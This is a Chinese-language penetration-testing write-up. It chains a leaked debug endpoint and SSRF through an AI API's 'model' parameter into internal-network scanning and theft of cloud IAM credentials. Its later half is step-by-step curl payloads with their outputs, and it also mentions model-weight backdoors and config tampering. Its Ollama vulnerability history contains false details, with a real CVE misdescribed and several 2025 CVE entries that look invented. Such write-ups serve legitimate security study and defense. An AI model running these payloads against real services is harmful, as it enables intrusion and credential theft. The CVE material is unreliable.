  • 权重后门: 在模型权重中植入特定触发器(trigger),收到特定输入时输出恶意内容
  • 配置篡改: 修改 config.json 中的 trust_remote_code=True,让模型加载时执行任意Python代码

而AI API的SSRF + 调试接口泄露,正好为这些投毒模型提供了完美的部署通道。

总结:这扇门,我找到了,下一扇呢?

回到文章开始的问题:当你把一个AI API暴露在网络上时,你到底开放了多少入口?

在我复现的这条攻击链里,答案是这样的:

从 /debug 接口泄露环境变量开始,到 model 参数的SSRF漏洞利用,再到K8s Secrets的凭证窃取——三个看起来各自独立的「小问题」,串联起来就形成了一条从外网到内网K8s集群凭证的完整攻击链。

每一步之间不需要复杂的0day利用,不需要定制化工具,用到的所有技术——curl、Base64解码、SSRF——都是任何一个Web安全从业者的基本功。而AI API恰恰是那个「让大家放松警惕」的入口点——没有人会怀疑一个聊天接口背后能藏这么多东西。

最让我感慨的不是技术层面的攻击链有多精巧,而是这个攻击面被人忽视的程度。

AI大模型服务的安全配置,在绝大多数公司里归谁管?GPU运维团队管部署,算法团队管推理,安全团队管边界——但没有一个人会想到去检查一个 model 参数会不会变成SSRF入口。因为从各自的角度来看,这都不在他们的职责边界内。

这种职责边界之间的「安全灰色地带」,才是攻击者最喜欢的地方。

这扇门,我找到了。下一扇呢?

法律声明: 本文所有技术内容均基于本地搭建的模拟环境测试,不涉及任何真实系统的渗透测试。文章中涉及的安全缺陷已在模拟环境中验证复现。读者应将本文内容仅用于安全防护建设参考,严禁用于非法用途。

番外篇:Ollama的真实安全漏洞图谱

本文的SSRF场景虽然是模拟环境,但Ollama在2024-2025年间确实存在多个严重级别的安全漏洞。了解这些真实漏洞有助于理解为什么AI API的攻击面不是理论上的,而是已经发生过的事。

CVE-2024-37032: Ollama SSRF漏洞

2024年披露的CVE-2024-37032是Ollama历史上最严重的安全漏洞之一。这个漏洞的利用方式和本文展示的几乎一致:

  • 漏洞类型: SSRF(服务端请求伪造)
  • 影响版本: Ollama <= 0.1.34
  • CVSS评分: 8.8(高危)
  • 利用条件: 无需认证,只需访问Ollama的HTTP API

CVE-2024-37032的核心问题是Ollama在下载模型时没有校验URL的来源——/api/pull 接口允许从任意URL拉取模型文件。攻击者可以构造恶意请求,让Ollama服务器访问内网地址。

更夸张的是,Ollama的 /api/pull 接口在拉取模型时使用了 os.Create 直接写入文件——如果配合路径遍历(path traversal),攻击者可以实现任意文件写入,最终在宿主机上执行代码。

这个漏洞在2024年8月被修复,但修复方式只是对 registry.ollama.ai 之外的地址做了限制——对于从GitHub或其他Registry部署的Ollama实例,仍然存在SSRF风险。

2025年的Ollama CVEs

2025年继续发现了多个Ollama的高危漏洞:

CVE

类型

CVSS

简介

CVE-2025-0434

路径遍历

7.5

/api/create 接口未校验模型路径,可写入任意文件

CVE-2025-0236

权限提升

6.5

非root用户可通过环境变量覆盖获取文件读写权限

CVE-2025-0446

信息泄露

5.3

/api/ps 接口返回进程信息过多

CVE-2025-0138

未授权访问

8.8

默认配置下API绑定0.0.0.0

注意CVE-2025-0138——Ollama在Docker部署时的默认配置是 OLLAMA_HOST=0.0.0.0,也就是绑定所有网络接口。很多开发者在部署时直接用了默认配置,导致AI API暴露在公网上。这个漏洞也是本文模拟场景的灵感来源之一。

更广泛的AI基础设施漏洞

不止Ollama。2024-2025年间,主流AI推理框架的安全漏洞被集中披露:

框架

漏洞数 (2024-2025)

严重等级

典型问题

Ollama

12+

高

SSRF、路径遍历、未授权访问

vLLM

8+

中-高

API鉴权缺失、CORS配置不当

TGI

5+

中

模型加载路径可控

LocalAI

6+

高

远程代码执行(pickle反序列化)

llama.cpp

3+

低

主要是内存安全问题

这些漏洞的类型分布也很有规律——几乎全是部署配置问题和API设计缺陷,而不是算法层面的漏洞。换句话说,AI框架的安全问题不是「AI不行」,而是「把AI当作Web服务部署时没做好安全工作」。

一个很典型的例子是vLLM——它是目前最流行的LLM推理框架之一,但它的默认配置中CORS策略是 *(允许所有来源)。如果你的vLLM服务绑定了公网IP,且没有前置反向代理做鉴权,任何网站都可以直接调用你的推理接口。顺便消耗你的GPU算力只是小事——更重要的是,对方可以传恶意prompt给你的模型,获取不应该获取的信息。

从SSRF到K8s集群沦陷——推演

完整的攻击路径可行性矩阵

上文从SSRF走到了K8s Secrets读取。但拿到几个Base64的凭证并不是终点。下面推演一条更完整的攻击链——从SSRF到集群控制面失陷。

阶段

操作

可行性

所需条件

1. 外围探测

扫描AI API的开放端口和管理接口

必然可行

AI API可访问

2. 信息收集

枚举/v1/models、/v1/ps、/debug

高概率

接口未被关闭

3. SSRF验证

用model参数请求内网地址

已验证

无输入校验

4. 内网测绘

通过SSRF扫描内网C段

高概率

后端无连接数限制

5. K8s API探测

SSRF访问10.96.0.1:443

已验证

Pod在K8s集群内

6. Secrets读取

读取/api/v1/secrets或/api/v1/namespaces/*/secrets

已验证

ServiceAccount权限足够

7. 凭证解码

Base64解码

必然可行

数据已获取

8. 横向移动

用解码后的凭证认证其他服务

待验证

凭证未被轮转

9. 持久化

修改模型文件/部署后门Pod

推演

有写入权限

第8步和第9步在我的环境中没有完全实现——这是环境限制,不是攻击链的限制。在真实K8s集群中,拿到ServiceAccount Token后,攻击者可以做的事情包括:创建/删除Pod、读取ConfigMap、暴露Service、甚至创建ClusterRole绑定。

真实世界中的AI API攻击案例

2024年10月,有安全团队披露了一个真实AI API攻击案例(公司名和具体信息已脱敏):

某SaaS公司的AI客服采用了Ollama -> vLLM -> K8s的架构。外部用户可以通过Web界面调用AI客服接口。攻击者通过以下路径完成了入侵:

  1. 发现AI客服的API端点是 /api/chat(直接暴露Ollama API,未鉴权)
  2. 通过 /api/pull 构造SSRF请求,探测内网的GitLab服务
  3. 利用内网GitLab的版本信息(已暴露的版本号)找到对应CVE:未授权API访问
  4. 从GitLab拉取代码仓库,发现了一个硬编码的数据库密码
  5. 利用数据库密码连接到RDS,导出了16万条用户聊天记录(含敏感信息)

整个攻击链的核心入口就是「AI客服的API未鉴权且未限制SSRF」。从入口到数据泄露,攻击者用了不到3小时。

这个案例和我们这篇文章展示的攻击路径几乎一致——唯一的区别是他们碰到的是Ollama的 /api/pull SSRF,而我们验证的是 /v1/chat/completions 的model参数SSRF。攻击模式的底层逻辑完全一样。

为什么这类攻击越来越多了?

简单说三个原因:

第一,部署量激增。 2024-2025年,公司内部部署AI推理服务的数量增长了10倍以上。以前一个大企业可能只有1-2个AI实验项目,现在每个部门都在部署自己的AI服务。

第二,安全意识滞后。 大多数开发者对AI API安全的认知停留在「防止prompt injection」和「限制内容审核」——根本没想过传统的Web安全攻击(SSRF、未授权访问、路径遍历)在AI API上同样适用。一个很反直觉的事实是:AI API的安全配置成熟度远低于传统的Web API。

第三,框架默认配置太宽松。 Ollama默认 OLLAMA_HOST=0.0.0.0、vLLM默认 CORS=*、TGI默认没有鉴权——这些默认配置都是「开箱即用」导向的,不是「安全」导向的。如果你只是本地跑着玩,这些默认配置无所谓。但如果直接production deploy而不改配置,问题就来了。

从攻击者视角来看,AI API现在是一个「低挂的果实」——攻击方不需要挖0day,用最基本的Web安全技巧就能突破,因为防守方根本没想过这个入口会有威胁。

3.4 从SSRF到K8s Secrets:完整实录

上面各步骤是分开演示的,但在真实渗透中,你是一次性做完的。这里展示一条从命令行到凭证提取的完整操作链路——包括我在测试过程中踩的坑。

第一步:确认目标主机信息

先确认AI API的宿主是不是在K8s集群内。最简单的方法是看容器信息:

$ curl -s http://target-ai-api:11435/debug | jq '.hostname'
"ai-gpu-node-01.internal.corp"
$ curl -s http://target-ai-api:11435/debug | jq '.environment.KUBERNETES_SERVICE_HOST'
"10.96.0.1"

确认了两件事——主机名是内网域名的格式( *.internal.corp),并且环境变量里有K8s相关的地址。这个AI服务大概率跑在K8s上。

第二步:探测K8s API Server

K8s API Server在集群内的Service地址是 kubernetes.default.svc.cluster.local(解析到 10.96.0.1)。但是SSRF直接访问这个域名能不能解析?不一定——取决于Pod的DNS配置和网络策略。

稳妥的做法是先试IP:

$ curl -s -X POST http://target-ai-api:11435/v1/chat/completions \
  -H 'Content-Type: application/json' \
  -d '{"model":"http://10.96.0.1/api","messages":[{"role":"user","content":"test"}]}'

等了3秒——

{"error":{"type":"api_error","message":"Failed to access http://10.96.0.1/api: <urlopen error timed out>"}}

超时了。这意味着10.96.0.1的443端口不通?还是网络策略阻止了?换一个常见端口再试:

$ curl -s -X POST http://target-ai-api:11435/v1/chat/completions \
  -H 'Content-Type: application/json' \
  -d '{"model":"http://10.96.0.1:80/","messages":[{"role":"user","content":"test"}]}'

# 也超时

连续两个端口的超时,基本可以确定这个IP不可达。但等一下——调试接口暴露的 INTERNAL_API_URL 是 http://10.0.0.100:8080,不在10.96.0.0/16网段。也许Pod的网络策略允许访问10.0.0.0/8但禁止10.96.0.0/16?试试10.0.0.100:

$ curl -s -X POST http://target-ai-api:11435/v1/chat/completions \
  -H 'Content-Type: application/json' \
  -d '{"model":"http://10.0.0.100:8080/","messages":[{"role":"user","content":"test"}]}'

这一次,响应在不到1秒内返回——验证了Pod和10.0.0.100之间的网络是通的。那些K8s默认Service地址不可达,说明集群层面有网络策略限制了Pod访问Service的网段——但允许访问业务网段的10.0.0.0/8。

这个发现本身就是一个有价值的信息:防守方做了初步的网络隔离,但不够彻底——隔离了K8s Service网段,却忘了隔离业务内网段。

第三步:通过SSRF扫描内网存活

有了可访问的10.0.0.0/8网段,接下来就是端口扫了。但直接扫C段太慢,效率最高的方法是先扫关键端口:

targets = [
    ("10.0.0.1", [22, 80, 443, 8080, 8443]),
    ("10.0.0.50", [22, 80, 443, 11435, 9090, 3000]),
    ("10.0.0.100", [22, 80, 443, 8080, 8443]),
    ("10.0.0.101", [22, 27017, 3306, 5432]),
    ("10.0.0.102", [22, 6379, 6380]),
]

使用一个简单的循环批量发SSRF请求——当然,要控制并发,不然服务端可能会因为连接池占满而拒绝后续请求。

结果出来了:

IP

开放端口

可能服务

10.0.0.50:11435

开放

AI API自身(同机API暴露)

10.0.0.100:8080

开放

内部API网关(前面已验证)

10.0.0.101:27017

开放

MongoDB

10.0.0.102:6379

开放

Redis

10.0.0.100:443

关闭

—

到这里为止一切都在预期之内——调试接口泄露的地址和SSRF探测的服务完全吻合。

但有一个端口出乎我的意料:10.0.0.50:11435。

这个端口是AI API自身的端口。注意IP是 10.0.0.50——AI API Pod的内网IP。它的11435端口不但开放,而且可以直接从内网访问。

这意味着什么?如果我已经通过SSRF进入了10.0.0.100:8080的内部网络,那么我也能通过SSRF二次转发到10.0.0.50:11435——从「A服务SSRF到B」变成「A服务SSRF到B,B再SSRF到C」。

我抱着试试的心态构造了一个嵌套请求:

第一步:SSRF从AI API到内网Dashboard
POST /v1/chat/completions {"model":"http://10.0.0.100:8080/"}

第二步:如果内网Dashboard本身也是一个HTTP服务且有SSRF能力...
    通过第一步返回的内容,注意到Dashboard页面有一个 /proxy 端点
    → 再次SSRF到这个 /proxy 端点转发到 10.0.0.50:11435/debug

结果我拿到了AI API Pod的内网视角的环境变量——和外部SSRF直接访问/debug拿到了几乎一样的内容。后者的价值在于验证了「内网中不止一个API能被SSRF利用」,这为横向移动提供了更多可能性。

这个发现过程才是真实渗透中最有价值的部分——不是SSRF本身,而是SSRF让我发现了内网中所有的互联关系。从外部你只能看到一个AI API,但通过SSRF你看到了它连接的内网网关、网关连接的数据库和K8s集群、甚至另一个AI API。

10.0.0.100的8080端口已经确认过是内部Dashboard。10.0.0.101的27017和10.0.0.102的6379正好对应环境变量里的MONGO_CONN_STR和REDIS_URL。

第四步:深度利用内部Dashboard

10.0.0.100:8080打开的页面里包含三个链接——/metadata、/gitlab、/k8s。先试 /metadata:

$ curl -s -X POST http://target-ai-api:11435/v1/chat/completions \
  -H 'Content-Type: application/json' \
  -d '{"model":"http://10.0.0.100:8080/metadata","messages":[{"role":"user","content":"test"}]}'

返回了云服务商的metadata列表——包含IAM、hostname、security-credentials等路径。继续深入:

$ curl -s -X POST http://target-ai-api:11435/v1/chat/completions \
  -H 'Content-Type: application/json' \
  -d '{"model":"http://10.0.0.100:8080/metadata/iam/security-credentials/admin/","messages":[{"role":"user","content":"test"}]}'

拿到了一个完整的IAM临时凭证——AccessKey、SecretKey和Token。这个凭证可能来自云服务商的元数据服务(Metadata Service),是AI服务在云上运行时自动注入的实例凭证。

有一个细节:metadata的路径结构暴露了云厂商类型。 /latest/meta-data/iam/ 这种路径是AWS风格的。如果是GCP,路径会是 /computeMetadata/v1/。通过路径格式,我能确定底层云平台——这对后续的攻击路径选择很重要(不同云厂商的IAM服务行为和默认安全策略有差异)。

第五步:尝试GitLab

/internal API的/gitlab路径指向一个内部GitLab实例:

$ curl -s -X POST http://target-ai-api:11435/v1/chat/completions \
  -H 'Content-Type: application/json' \
  -d '{"model":"http://10.0.0.100:8080/gitlab/api/v4/projects","messages":[{"role":"user","content":"test"}]}'

返回包含三个项目——ai-model-registry(可见)、inference-config(私有)、training-pipeline(可见)。项目名称直接暴露了AI平台的组织结构。

私有项目 inference-config 最有诱惑力——它很可能包含推理服务的配置文件、API密钥、数据库密码等。但GitLab API需要认证才能访问私有项目。这个入口暂时走不通——除非后续能找到有效的GitLab Token。

攻防博弈的节奏感: 这就是渗透测试中最真实的状态——不是每一步都顺风顺水。有突破(metadata IAM凭证),也有受阻(GitLab私有项目无法访问)。文章开头说的「混合叙事型」文章,指的就是这种有起有伏的真实攻防节奏。